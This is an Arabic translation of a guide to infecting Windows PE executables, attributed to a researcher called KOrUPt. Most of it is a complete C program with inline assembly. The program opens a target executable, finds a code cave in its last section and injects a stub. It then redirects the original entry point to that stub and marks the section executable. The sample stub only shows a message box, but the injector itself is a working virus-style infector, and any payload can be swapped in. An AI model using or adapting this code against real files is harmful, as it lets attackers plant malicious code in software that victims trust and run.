Detailed Guide to PE Infection
Researcher: KOrUPt

رابط الورقة البحثية:
https://vxug.fakedoma.in/papers/VXUG/Mirrors/DetailedGuideToPeInfection.txt

هذا العمل تطوعي بهدف نشر هذه الأبحاث للعالم العربي، أسألكم الدعاء.
أنا لست خبيراً في الترجمة، إن رأيت أي خطأ أو أو ترغب في الاقتراح أو التواصل، قم بإرسال رسالة على تويتر 0x1411.

لطالما وجدت موضوع إصابة الملفات من نوع PE غامض ومريب، دائماً هناك قطعة ناقصة، في هذا المقال آمل أن أوضح هذا الموضوع وأقوم بفتح المجال لمن يريد التعمق في كيفية عمل مثل هذه الأدوات.
أريد أن أذكر أني قد كتبت هذا المقال بهدف تعليم الآخرين، أنا آمل أن تستخدم المعلومات التي سأقوم بشرحها بهدف تأمين هذه الملفات وإبتكار طرق أخرى لإصابتها ومن ثم تأمينها بشكل أفضل وبطريقة أخلاقية.

سأقوم بإستخدام لغة C خلال هذا المقال، وأفترض أن لديك معرفة جيدة بتلك اللغة بالإضافة للأسمبلر.

في البداية، ما هو الملف من نوع PE؟
- يمكنك معرفة هذا من هنا.
ما هي إصابة الملفات من نوع PE؟
- في رأيي، إصابة الملفات من نوع PE هي طريقة لإدخال كود خبيث بداخل الملف أثناء عمله بشكل طبيعي.

بالطبع لمعرفة كيفية الإصابة لابد من معرفة فورمات هذه الملفات، يوجد العديد من الوثائق التي قامت بشرح هذا الموضوع، أقترح أن تلقي نظرة على الروابط التالية قبل أن تكمل قراءة هذا المقال.

١- https://docs.microsoft.com/en-us/windows/win32/debug/pe-format
٢- https://docs.microsoft.com/en-us/archive/msdn-magazine/2002/february/inside-windows-win32-portable-executable-file-format-in-detail
٣- https://docs.microsoft.com/en-us/archive/msdn-magazine/2002/march/inside-windows-an-in-depth-look-into-the-win32-portable-executable-file-format-part-2

تصميم الملفات من نوع PE يبدو كالتالي:

[MZ Header]
[MZ Signature]
[PE Headers]
[PE Signature]
[IMAGE_FILE_HEADER] [IMAGE_OPTIONAL_HEADER]
[Section Table]
[Section 1] [Section 2] [Section n]

لقد تجاهلت الDOS Header لأنه لا يهم كثيراً في هذا المقال، هدفي ليس تعليمك كيفية عمل تلك الملفات من الداخل، بل كيفية إصابتها.

بداخل IMAGE_OPTIONAL_HEADER لدينا مؤشرات للعديد من المجلدات، تلك المجلدات في العادة تشير لجداول الإدخال وإعادة التموضع (Import and Relocation Tables)، يجب علينا إعادة بناء تلك المجلدات بنفسنا أو تدميرهم، مثل هذه الحالة هي تشفير قطاع (Section) به محتويات واحد من الملفات.

الفكرة الأساسية خلف إصابة الملفات من نوع PE هي إدخال الكود في Slack Space، ثم تعديل عنوان مؤشر الدخول الأصلي (OEP; Original Entry Point) ليقوم بالإشارة للكود الذي أدخلناه، ثم يتم تنفيذ هذا الكود، ثم العودة للعنوان الأصلي ليقوم الملف بمتابعة التنفيذ وكأننا لم نقم بأي تعديل.

حتى نضع هذه الخطوات بشكل منطقي سنقوم بكتابة سودو كود:
١- نقوم بفتح الملف المستهدف.
٢- نقوم بالتأكد من وجود وصلاحية MZ and PE Signatures.
٣- نقوم بالبحث عن طول محدد من NULL Bytes بداية من القطاع الأخير في الذاكرة.
٤- كتابة الكود في المكان المحدد الجديد بداخل الSlack.
٥- تعديل مؤشر الدخول الأصلي الحالي ليقوم بالإشارة لعنوان بداية تنفيذ الكود الجديد.
٦- إغلاق الملف المستهدف.

أود أن أنوه أن كتابة هذا الكود الذي سيُحقن به الملف هو الجزء الأصعب في عملية الإصابة، كما سنرى بعد قليل.
دعنا نبدأ في تطبيق هذا السودو كود.

نحتاج أن نقوم بفتح الملف وموضعته حتى يكون أسهل في التعديل، لن أقوم بشرح دور كل API لأن وثائق مايكروسوفت قامت بشرح هذا الجزء بشكل جيد.

ملاحظة المترجم: قام الباحث بإضافة العديد من التعليقات خلال هذا الكود، سأقوم بترجمتها، لكن بسبب إختلاف تنسيق اللغة العربية عن الإنجليزية قد تبدو الأمور مبعثرة، سأحاول قدر المستطاع تحسين الشكل العام، لكن إذا أردت تجربة الكود بنفسك قم بإزالة تلك التعليقات.

```
// PE Infecter by KOrUPt
#include
#include

#define bb(x) __asm _emit x

__declspec(naked) void StubStart()
{
   __asm{
      pushad  // الإحتفاظ بمحتوى الثريد
      call GetBasePointer
      GetBasePointer:
      pop ebp
      sub ebp, offset GetBasePointer // delta offset trick
      push MB_OK
      lea  eax, [ebp+szTitle]
      push eax
      lea  eax, [ebp+szText]
      push eax
      push 0
      mov  eax, 0xCCCCCCCC
      call eax

      popad   // إستعادة محتوى الثريد
      push 0xCCCCCCCC // رفع عنوان لمؤشر الدخول الأصلي
      retn    // retn used as jmp

      szText:
         bb('H') bb('e') bb('l') bb('l') bb('o') bb(' ') bb('W') bb('o') bb('r') bb('l') bb('d')
         bb(' ') bb('f') bb('r') bb('o') bb('m') bb(' ') bb('K') bb('O') bb('r') bb('U') bb('P') bb('t') bb(0)
      szTitle:
```

```
            bb('O') bb('h') bb('a') bb('i') bb(0)

        }
    }
    void StubEnd(){}

    // By Napalm
    DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders)
    {
        PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders +
    sizeof(IMAGE_NT_HEADERS));
        for(WORD wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++){
            if(dwFileAddr >= lpSecHdr->PointerToRawData){
                if(dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData)){
                    dwFileAddr -= lpSecHdr->PointerToRawData;
                    dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr->VirtualAddress);
                    return dwFileAddr;
                }
            }

            lpSecHdr++;
        }

        return NULL;
    }

    int main(int argc, char* argv[])
    {
        PIMAGE_DOS_HEADER pDosHeader;
        PIMAGE_NT_HEADERS pNtHeaders;
        PIMAGE_SECTION_HEADER pSection, pSectionHeader;
```

```
    HANDLE hFile, hFileMap;
    HMODULE hUser32;
    LPBYTE hMap;

    int i = 0, charcounter = 0;
    DWORD oepRva = 0, oep = 0, fsize = 0, writeOffset = 0, oepOffset = 0, callOffset = 0;
    unsigned char *stub;

    DWORD start  = (DWORD)StubStart;
    DWORD end    = (DWORD)StubEnd;
    DWORD stubLength = (end - start);

    if(argc != 2){
        printf("Usage: %s [file]\n", argv[0]);
        return 0;
    }

    // موضعة الملف
    hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ |
FILE_SHARE_WRITE,
                       NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE){
        printf("[-] Cannot open %s\n", argv[1]);
        return 0;
    }

    fsize = GetFileSize(hFile, 0);
    if(!fsize){
        printf("[-] Could not get files size\n");
        CloseHandle(hFile);
        return 0;
```

```
}

hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
if(!hFileMap){
    printf("[-] CreateFileMapping failed\n");
    CloseHandle(hFile);
    return 0;
}

hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
if(!hMap){
    printf("[-] MapViewOfFile failed\n");
    CloseHandle(hFileMap);
    CloseHandle(hFile);
    return 0;
}

// التأكد من السجنتشرز
pDosHeader = (PIMAGE_DOS_HEADER)hMap;
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){
    printf("[-] DOS signature not found\n");
    goto cleanup;
}

pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){
    printf("[-] NT signature not found\n");
    goto cleanup;
}
```

```
    // هيدر أخر قطاع
    pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew +
sizeof(IMAGE_NT_HEADERS));
    pSection = pSectionHeader;
    pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);

    // الإحتفاظ بنقطة الدخول الأصلية
    oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
    oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);

    // تحديد مكان فارغ
    i = pSection->PointerToRawData;
    for(; i != fsize; i++){
        if((char *)hMap[i] == 0x00){
            if(charcounter++ == stubLength + 24){
                printf("[+] Code cave located @ 0x%08lX\n", i);
                writeOffset = i;
            }
        }else charcounter = 0;
    }

    if(charcounter == 0 || writeOffset == 0){
        printf("[-] Could not locate a big enough code cave\n");
        goto cleanup;
    }

    writeOffset -= stubLength;

    stub = (unsigned char *)malloc(stubLength + 1);
    if(!stub){
        printf("[-] Error allocating sufficent memory for code\n");
```

```
    goto cleanup;
}

// النسخ لمخزن مؤقت
memcpy(stub, StubStart, stubLength);

// تحديد عناوين المخازن في الكود
for(i = 0, charcounter = 0; i != stubLength; i++){
    if(stub[i] == 0xCC){
        charcounter++;
        if(charcounter == 4 && callOffset == 0)
            callOffset = i - 3;
        else if(charcounter == 4 && oepOffset == 0)
            oepOffset = i - 3;
    }else charcounter = 0;
}

// التأكد من صلاحيتهم
if(oepOffset == 0 || callOffset == 0){
    free(stub);
    goto cleanup;
}

hUser32 = LoadLibrary("User32.dll");
if(!hUser32){
    free(stub);
    printf("[-] Could not load User32.dll");
    goto cleanup;
}
```

```
    // ملأ المخازن
    *(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
    *(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
    FreeLibrary(hUser32);

    memcpy((PBYTE)hMap + writeOffset, stub, stubLength);

    // موضعة نقطة الدخول
    pNtHeaders->OptionalHeader.AddressOfEntryPoint =
       FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;

    // تحديد حجم القطاع
    pSection->Misc.VirtualSize += stubLength;
    pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ |
IMAGE_SCN_MEM_EXECUTE;

    // تنظيف
    printf("[+] Stub written!!\n[*] Cleaning up\n");
    free(stub);

    cleanup:
    FlushViewOfFile(hMap, 0);
    UnmapViewOfFile(hMap);

    SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
    SetEndOfFile(hFile);
    CloseHandle(hFileMap);
    CloseHandle(hFile);
    return 0;
}
```

تم بحمد الله وتوفيقه، أسألكم الدعاء.